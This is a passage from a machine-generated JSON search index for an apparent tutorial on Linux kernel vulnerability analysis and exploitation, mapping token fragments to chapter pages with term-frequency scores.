ility-trigger.html","tf":0.008115942028985508},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.009505703422053232},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002800336040324839}},".":{"1":{"5":{"0":{"docs":{},"+":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"9":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"docs":{}},"g":{"docs":{},"b":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"5":{"0":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"1":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"docs":{}},"3":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"6":{"1":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"4":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"u":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"b":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{},"x":{"docs":{},"m":{"docs":{},"l":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"k":{"docs":{},"b":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"5":{"5":{"3":{"6":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"c":{"6":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"docs":{}}},"7":{"0":{"3":{"9":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"docs":{}},"docs":{}},"4":{"7":{"4":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"6":{"8":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}},"docs":{}},"docs":{}},"7":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{},"a":{"3":{"docs":{},"c":{"docs":{},"e":{"docs":{},"e":{"4":{"3":{"docs":{},"e":{"9":{"3":{"5":{"docs":{},"b":{"9":{"docs":{},"d":{"5":{"2":{"6":{"docs":{},"a":{"docs":{},"d":{"0":{"7":{"docs":{},"f":{"2":{"0":{"docs":{},"b":{"docs":{},"f":{"0":{"0":{"5":{"docs":{},"b":{"docs":{},"a":{"7":{"docs":{},"e":{"7":{"4":{"docs":{},"d":{"0":{"5":{"docs":{},"b":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}}},"docs":{}},"b":{"2":{"docs":{},"f":{"docs":{},"d":{"5":{"docs":{},"f":{"2":{"5":{"1":{"docs":{},"f":{"2":{"docs":{},".":{"docs":{},".":{"6":{"7":{"docs":{},"a":{"docs":{},"f":{"6":{"1":{"6":{"3":{"7":{"docs":{},"f":{"5":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}}},"8":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},".":{"2":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}},"9":{"9":{"6":{"2":{"9":{"docs":{},"d":{"9":{"1":{"4":{"2":{"3":{"docs":{},"c":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"(":{"0":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"1":{"0":{"0":{"3":{"docs":{},".":{"1":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"3":{"9":{"5":{"8":{"2":{"8":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"@":{"docs":{},"h":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"s":{"docs":{},"y":{"docs":{},"s":{"docs":{},"t":{"docs":{},"e":{"docs":{},"a":{"docs":{},"m":{"docs":{},")":{"docs":{"./":{"ref":"./","tf":0.05}}}}}}}}}}}}}},"m":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"i":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"n":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}}}}}}}}},"v":{"docs":{},"n":{"docs":{},"i":{"docs":{},"k":{"5":{"2":{"8":{"7":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}},"c":{"docs":{},")":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"o":{"docs":{},"w":{"docs":{},")":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}},"p":{"docs":{},"y":{"docs":{},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},"_":{"docs":{},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"(":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"m":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"h":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{},"p":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}},"u":{"docs":{},"r":{"docs":{},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"g":{"docs":{},"d":{"docs":{},"b":{"docs":{},")":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}},"n":{"docs":{},"e":{"docs":{},"e":{"docs":{},"d":{"docs":{},"e":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}},"r":{"docs":{},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"t":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"e":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"s":{"docs":{},"a":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"l":{"docs":{},"l":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}},"b":{"docs":{},"y":{"docs":{},"t":{"docs":{},"e":{"docs":{},"s":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"c":{"docs":{},"e":{"docs":{},"i":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"t":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}}}}}}}}}},"q":{"docs":{},")":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"!":{"docs":{},"n":{"docs":{},"e":{"docs":{},"w":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"e":{"docs":{},"p":{"docs":{},"i":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"f":{"docs":{},".":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"e":{"docs":{},"m":{"docs":{},"p":{"docs":{},"t":{"docs":{},"y":{"docs":{},"(":{"docs":{},"l":{"docs":{},"s":{"docs":{},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"f":{"docs":{},".":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}},"d":{"docs":{},"a":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"n":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"t":{"docs":{},"a":{"docs":{},"b":{"docs":{},"u":{"docs":{},"f":{"docs":{},"f":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"l":{"docs":{},"s":{"docs":{},"m":{"docs":{},")":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"o":{"docs":{},"r":{"docs":{},"i":{"docs":{},"g":{"docs":{},"i":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{},"i":{"docs":{},"d":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"p":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"f":{"docs":{},"_":{"docs":{},"*":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"w":{"docs":{},"q":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},"(":{"docs":{},"p":{"docs":{},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"n":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"l":{"docs":{},"y":{"docs":{},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"y":{"docs":{},"z":{"docs":{},"k":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"t":{"docs":{},"p":{"docs":{},"a":{"docs":{},"i":{"docs":{},"r":{"docs":{},"(":{"docs":{},"a":{"docs":{},"f":{"docs":{},"_":{"docs":{},"u":{"docs":{},"n":{"docs":{},"i":{"docs":{},"x":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"u":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"3":{"2":{"docs":{},"_":{"docs":{},"t":{"docs":{},")":{"0":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"x":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}},"docs":{}},"6":{"4":{"docs":{},"_":{"docs":{},"t":{"docs":{},")":{"0":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"x":{"3":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"docs":{}}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"docs":{}},"docs":{}}}},"s":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088}}}},"n":{"docs":{},"l":{"docs":{},"i":{"docs":{},"k":{"docs":{},"e":{"docs":{},"l":{"docs":{},"y":{"docs":{},"(":{"docs":{},"!":{"docs":{},"l":{"docs":{},"e":{"docs":{},"f":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}},"(":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}},"i":{"docs":{},"n":{"docs":{},"t":{"8":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"docs":{}}}},"u":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"8":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"docs":{}}}}},"_":{"docs":{},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}},"l":{"docs":{},"o":{"docs":{},"n":{"docs":{},"g":{"docs":{},")":{"docs":{},"(":{"docs":{},"&":{"docs":{},"(":{"docs":{},"(":{"docs":{},"_":{"docs":{},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.041666666666666664}}}}}}}}}}}}}}}},"t":{"docs":{},")":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"a":{"docs":{},"g":{"docs":{},")":{"docs":{},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"o":{"docs":{},"k":{"docs":{},"(":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"f":{"docs":{},"y":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"i":{"4":{"4":{"0":{"docs":{},"f":{"docs":{},"x":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"docs":{}},"docs":{}},"docs":{},"s":{"docs":{},"_":{"docs":{},"t":{"docs":{},"t":{"docs":{},"b":{"docs":{},"r":{"0":{"docs":{},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"(":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"docs":{}}}}}}}},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}},")":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"e":{"docs":{},"p":{"docs":{},"_":{"docs":{},"o":{"docs":{},"p":{"docs":{},"_":{"docs":{},"h":{"docs":{},"a":{"docs":{},"s":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"(":{"docs":{},"o":{"docs":{},"p":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"r":{"docs":{},"r":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"r":{"docs":{},"c":{"docs":{},"a":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"e":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"v":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}}}},"w":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"f":{"docs":{},".":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"c":{"docs":{},"n":{"docs":{},"t":{"docs":{},"l":{"docs":{},"(":{"docs":{},"p":{"docs":{},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"docs":{}}}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"t":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}},"{":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"a":{"3":{"4":{"0":{"7":{"6":{"6":{"docs":{},"b":{"5":{"1":{"docs":{},"f":{"docs":{},"e":{"docs":{},".":{"docs":{},".":{"2":{"docs":{},"e":{"docs":{},"f":{"8":{"docs":{},"b":{"docs":{},"d":{"2":{"9":{"docs":{},"e":{"1":{"8":{"8":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}},"docs":{}}}},"docs":{}}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},"y":{"docs":{},"s":{"docs":{},"i":{"docs":{"./":{"ref":"./","tf":0.05},"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"